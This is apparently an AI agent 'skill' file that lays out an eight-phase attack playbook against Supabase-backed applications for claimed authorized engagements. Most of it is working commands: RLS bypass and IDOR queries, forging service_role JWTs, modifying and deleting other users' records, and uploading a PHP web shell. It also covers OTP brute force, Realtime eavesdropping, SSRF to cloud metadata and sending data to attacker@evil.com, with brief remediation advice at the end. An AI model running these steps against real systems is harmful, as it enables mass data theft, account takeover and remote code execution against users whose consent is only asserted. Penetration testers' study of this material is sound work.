---
name: rt-supabase
description: "Supabase security testing skill for authorized engagements. Row-Level Security (RLS) policy bypass, anon key abuse for unauthorized data access, service role key exposure, PostgREST API horizontal privilege escalation, JWT manipulation for role escalation, schema disclosure via introspection, Supabase Storage bucket misconfiguration, Realtime channel eavesdropping, Edge Function exploitation, and auth bypass techniques. Use when engagement scope includes Supabase-backed applications."
---

# rt-supabase — Supabase Security Testing

## Overview

Supabase is an open-source Firebase alternative built on PostgreSQL, PostgREST, GoTrue auth, and Realtime. Its architecture creates unique attack surfaces: the `anon` key is intentionally public but often misconfigured, RLS policies have logical gaps, and the PostgREST API exposes the entire database schema by default. A single misconfiguration can expose all user data.

**Attack surfaces:**
- PostgREST REST API (direct DB access)
- Row-Level Security (RLS) policy bypass
- JWT role escalation (anon → authenticated → service_role)
- Supabase Storage (public/private buckets)
- Realtime subscriptions (unauthorized channel access)
- Edge Functions (serverless function exploitation)
- Auth endpoints (GoTrue authentication bypass)

---

## Phase 1 — Discovery & Enumeration

```bash
# Supabase URL pattern: https://PROJECT_ID.supabase.co
# Find project ID from source code, network requests, JS bundles

# Fingerprint Supabase
curl -I https://PROJECT_ID.supabase.co/rest/v1/
# Returns: X-Powered-By: PostgREST

# Extract anon key from JS bundle (it's meant to be public but often over-privileged)
grep -r "supabaseKey\|SUPABASE_ANON_KEY\|supabase_anon_key\|eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9" \
  ./js_files/

# Anon key is a JWT — decode to understand permissions
echo "ANON_KEY" | cut -d. -f2 | base64 -d 2>/dev/null | python3 -m json.tool
# Payload: {"role": "anon", "iss": "supabase", ...}

# Discover all exposed tables via PostgREST introspection
curl "https://PROJECT_ID.supabase.co/rest/v1/" \
  -H "apikey: ANON_KEY" \
  -H "Authorization: Bearer ANON_KEY"
# Returns: OpenAPI spec listing ALL tables and their columns

# Or via OPTIONS request
curl -X OPTIONS "https://PROJECT_ID.supabase.co/rest/v1/" \
  -H "apikey: ANON_KEY" | python3 -m json.tool
```

---

## Phase 2 — RLS Bypass Techniques

```bash
# RLS (Row-Level Security) controls which rows each user can access
# Misconfigured RLS = read/write other users' data

# Test 1: Table with no RLS at all
curl "https://PROJECT_ID.supabase.co/rest/v1/users" \
  -H "apikey: ANON_KEY" \
  -H "Authorization: Bearer ANON_KEY"
# If returns all users → RLS not enabled on this table

# Test 2: RLS enabled but policy is too permissive
# Common bad policy: "FOR SELECT USING (true)" = everyone can read everything
curl "https://PROJECT_ID.supabase.co/rest/v1/profiles?select=*" \
  -H "apikey: ANON_KEY" \
  -H "Authorization: Bearer ANON_KEY"

# Test 3: RLS policy checks auth.uid() but not properly
# Log in as User A → try to access User B's data by manipulating filters
TOKEN_A="JWT_OF_USER_A"
# Normal: /rest/v1/orders?user_id=eq.USER_A_ID  → returns A's orders
# Attack: /rest/v1/orders?user_id=eq.USER_B_ID  → should be blocked by RLS
curl "https://PROJECT_ID.supabase.co/rest/v1/orders?user_id=eq.USER_B_ID" \
  -H "apikey: ANON_KEY" \
  -H "Authorization: Bearer $TOKEN_A"
# If returns B's orders → IDOR via RLS bypass

# Test 4: RLS on main table but not on joined/related tables
curl "https://PROJECT_ID.supabase.co/rest/v1/orders?select=*,user_profiles(*)" \
  -H "apikey: ANON_KEY" \
  -H "Authorization: Bearer $TOKEN_A"
# user_profiles may not have RLS → exposed via JOIN

# Test 5: RLS bypass via Postgres functions (SECURITY DEFINER)
# Functions marked SECURITY DEFINER run as function owner, bypass RLS
# Find exposed RPC endpoints:
curl "https://PROJECT_ID.supabase.co/rest/v1/rpc/" \
  -H "apikey: ANON_KEY"
# Call functions that might bypass RLS
curl -X POST "https://PROJECT_ID.supabase.co/rest/v1/rpc/get_all_users" \
  -H "apikey: ANON_KEY" \
  -H "Authorization: Bearer ANON_KEY" \
  -H "Content-Type: application/json" \
  -d '{}'
```

---

## Phase 3 — JWT Role Escalation

```bash
# Supabase JWT roles: anon < authenticated < service_role
# service_role bypasses ALL RLS — full database access

# Step 1: Find the JWT secret
# Secret is used to sign tokens — if weak or leaked → forge tokens
# Check: source code, .env files, GitHub repos
grep -r "SUPABASE_JWT_SECRET\|jwt_secret\|JWT_SECRET" . --include="*.env*"
trufflehog github --org=TARGET_ORG | grep -i "supabase\|jwt"

# Step 2: Forge service_role JWT (if secret known)
python3 << 'EOF'
import jwt, time

# If you found the JWT secret
secret = "FOUND_JWT_SECRET"

# Forge service_role token
payload = {
    "iss": "supabase",
    "ref": "PROJECT_ID",
    "role": "service_role",
    "iat": int(time.time()),
    "exp": int(time.time()) + 86400
}
token = jwt.encode(payload, secret, algorithm="HS256")
print(f"service_role token: {token}")
EOF

# Step 3: Use service_role token → bypasses all RLS
curl "https://PROJECT_ID.supabase.co/rest/v1/users?select=*" \
  -H "apikey: FORGED_SERVICE_ROLE_TOKEN" \
  -H "Authorization: Bearer FORGED_SERVICE_ROLE_TOKEN"
# Returns ALL users with no RLS filtering

# Step 4: Role claim manipulation in user JWT
# If app doesn't validate role claim server-side:
python3 << 'EOF'
import jwt, time

# Take existing anon token and modify role
# (Only works if secret is known or JWT not properly verified)
secret = "FOUND_SECRET"
payload = {
    "iss": "supabase",
    "ref": "PROJECT_ID",
    "role": "authenticated",  # Upgrade from anon
    "sub": "00000000-0000-0000-0000-000000000001",  # admin user UUID
    "email": "admin@corp.com",
    "iat": int(time.time()),
    "exp": int(time.time()) + 86400
}
token = jwt.encode(payload, secret, algorithm="HS256")
print(token)
EOF
```

---

## Phase 4 — PostgREST API Exploitation

```bash
# PostgREST exposes full CRUD on all tables (subject to RLS)
# Test all HTTP methods

# Read all data
curl "https://PROJECT_ID.supabase.co/rest/v1/TABLE_NAME?select=*" \
  -H "apikey: ANON_KEY" \
  -H "Authorization: Bearer USER_TOKEN"

# Write / create records (if INSERT policy misconfigured)
curl -X POST "https://PROJECT_ID.supabase.co/rest/v1/TABLE_NAME" \
  -H "apikey: ANON_KEY" \
  -H "Authorization: Bearer USER_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"user_id": "OTHER_USER_UUID", "data": "injected"}'

# Update other users' records (if UPDATE policy misconfigured)
curl -X PATCH "https://PROJECT_ID.supabase.co/rest/v1/profiles?id=eq.OTHER_USER_ID" \
  -H "apikey: ANON_KEY" \
  -H "Authorization: Bearer MY_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"role": "admin"}'

# Delete records
curl -X DELETE "https://PROJECT_ID.supabase.co/rest/v1/TABLE?id=eq.VICTIM_ID" \
  -H "apikey: ANON_KEY" \
  -H "Authorization: Bearer MY_TOKEN"

# PostgREST column selection — try to access hidden columns
curl "https://PROJECT_ID.supabase.co/rest/v1/users?select=id,email,password,raw_user_meta_data" \
  -H "apikey: ANON_KEY"

# Filter bypass — access all rows
curl "https://PROJECT_ID.supabase.co/rest/v1/TABLE?select=*&limit=1000" \
  -H "apikey: ANON_KEY"

# Full-text search for sensitive data
curl "https://PROJECT_ID.supabase.co/rest/v1/TABLE?content=fts.password" \
  -H "apikey: ANON_KEY"
```

---

## Phase 5 — Storage Bucket Attacks

```bash
# Supabase Storage: S3-compatible object storage
# Buckets can be public or private (private requires RLS)

# List all buckets
curl "https://PROJECT_ID.supabase.co/storage/v1/bucket" \
  -H "apikey: ANON_KEY" \
  -H "Authorization: Bearer ANON_KEY"

# List files in a bucket
curl "https://PROJECT_ID.supabase.co/storage/v1/object/list/BUCKET_NAME" \
  -H "apikey: ANON_KEY" \
  -H "Authorization: Bearer ANON_KEY" \
  -H "Content-Type: application/json" \
  -d '{"prefix": "", "limit": 100}'

# Download files from public bucket (no auth needed)
curl "https://PROJECT_ID.supabase.co/storage/v1/object/public/BUCKET/file.pdf"

# Download from private bucket (if RLS misconfigured)
curl "https://PROJECT_ID.supabase.co/storage/v1/object/authenticated/BUCKET/private.pdf" \
  -H "apikey: ANON_KEY" \
  -H "Authorization: Bearer ANON_KEY"

# Path traversal in storage
curl "https://PROJECT_ID.supabase.co/storage/v1/object/public/BUCKET/../../../etc/passwd"

# Upload to bucket (if insert policy open)
curl -X POST "https://PROJECT_ID.supabase.co/storage/v1/object/BUCKET/shell.php" \
  -H "apikey: ANON_KEY" \
  -H "Authorization: Bearer USER_TOKEN" \
  -H "Content-Type: application/octet-stream" \
  --data-binary "<?php system(\$_GET['c']); ?>"
```

---

## Phase 6 — Auth Bypass (GoTrue)

```bash
# GoTrue handles Supabase authentication
# Test for auth vulnerabilities

# User enumeration via password reset
curl -X POST "https://PROJECT_ID.supabase.co/auth/v1/recover" \
  -H "apikey: ANON_KEY" \
  -H "Content-Type: application/json" \
  -d '{"email": "victim@corp.com"}'
# Different response for existing vs non-existing email = enumeration

# Sign up with existing email (check error message)
curl -X POST "https://PROJECT_ID.supabase.co/auth/v1/signup" \
  -H "apikey: ANON_KEY" \
  -H "Content-Type: application/json" \
  -d '{"email": "admin@corp.com", "password": "test123"}'

# OTP brute force (if rate limiting weak)
for code in $(seq -w 000000 999999); do
  r=$(curl -s -X POST "https://PROJECT_ID.supabase.co/auth/v1/verify" \
    -H "apikey: ANON_KEY" \
    -H "Content-Type: application/json" \
    -d "{\"type\":\"recovery\",\"token\":\"$code\",\"email\":\"victim@corp.com\"}")
  echo "$code: $r" | grep -v "Token has expired"
done

# OAuth provider misconfiguration
# Check which providers are enabled
curl "https://PROJECT_ID.supabase.co/auth/v1/settings" \
  -H "apikey: ANON_KEY"

# Admin API (requires service_role)
curl "https://PROJECT_ID.supabase.co/auth/v1/admin/users" \
  -H "apikey: SERVICE_ROLE_KEY"  # If service_role key found → dump all users
```

---

## Phase 7 — Realtime Channel Eavesdropping

```javascript
// Supabase Realtime: WebSocket-based live data
// If channel doesn't check auth → any user can subscribe to any table changes

const { createClient } = require('@supabase/supabase-js')

const supabase = createClient(
  'https://PROJECT_ID.supabase.co',
  'ANON_KEY'  // Use anon key (unauthenticated)
)

// Subscribe to ALL changes on sensitive tables
const channel = supabase
  .channel('all-changes')
  .on('postgres_changes',
    { event: '*', schema: 'public', table: 'orders' },
    (payload) => {
      console.log('Intercepted:', payload)
      // Receives: INSERT/UPDATE/DELETE events with full row data
    }
  )
  .subscribe()

// Try different tables
const tables = ['users', 'profiles', 'messages', 'payments', 'orders']
tables.forEach(table => {
  supabase.channel(`spy-${table}`)
    .on('postgres_changes', { event: '*', schema: 'public', table }, 
        payload => console.log(`${table}:`, payload))
    .subscribe()
})
```

---

## Phase 8 — Edge Function Exploitation

```bash
# Supabase Edge Functions = Deno-based serverless functions
# Endpoint: https://PROJECT_ID.supabase.co/functions/v1/FUNCTION_NAME

# Enumerate functions (often discoverable from source code)
curl "https://PROJECT_ID.supabase.co/functions/v1/" \
  -H "Authorization: Bearer ANON_KEY"

# Test without auth
curl "https://PROJECT_ID.supabase.co/functions/v1/admin-action"

# Test with anon key only
curl "https://PROJECT_ID.supabase.co/functions/v1/process-payment" \
  -H "Authorization: Bearer ANON_KEY" \
  -H "Content-Type: application/json" \
  -d '{"amount": -100}'  # Negative amount

# SSRF via Edge Function
curl -X POST "https://PROJECT_ID.supabase.co/functions/v1/fetch-url" \
  -H "Authorization: Bearer ANON_KEY" \
  -d '{"url": "http://169.254.169.254/latest/meta-data/"}'

# Inject env variables via function input (if poorly sandboxed)
curl -X POST "https://PROJECT_ID.supabase.co/functions/v1/send-email" \
  -d '{"to": "attacker@evil.com", "template": "../../service_role_key"}'
```

---

## Finding Documentation

```
Finding: Supabase RLS Bypass — Unauthorized Data Access
Severity: CRITICAL
CVSS: 9.1 (AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N)
CWE: CWE-284 (Improper Access Control)

Evidence:
- curl command showing access to other users' records
- Number of records accessible (e.g., "returned 15,234 user records")
- Screenshot of sensitive data returned

Impact:
- Full read/write access to all user data
- PII exposure (emails, addresses, payment info)
- Account takeover via profile modification

Remediation:
1. Enable RLS on ALL tables: ALTER TABLE name ENABLE ROW LEVEL SECURITY
2. Create proper policies: CREATE POLICY "users_own_data" ON table 
   FOR ALL USING (auth.uid() = user_id)
3. Never expose service_role key client-side
4. Audit all SECURITY DEFINER functions
5. Enable storage bucket RLS policies
```

---

## Skill Levels

**BEGINNER:** anon key extraction → table enumeration via OpenAPI → test for missing RLS

**INTERMEDIATE:** RLS bypass via IDOR filters · Storage bucket misconfiguration · Auth user enumeration

**ADVANCED:** JWT secret extraction → service_role token forgery → full RLS bypass · Realtime eavesdropping

**EXPERT:** SECURITY DEFINER function abuse · Edge Function SSRF · Realtime + RLS chain for persistent access

---

## References

- Supabase Security Guide: https://supabase.com/docs/guides/auth/row-level-security
- PostgREST docs: https://postgrest.org/en/stable/
- HackerOne Supabase reports: https://hackerone.com/supabase
- MITRE T1213: https://attack.mitre.org/techniques/T1213/
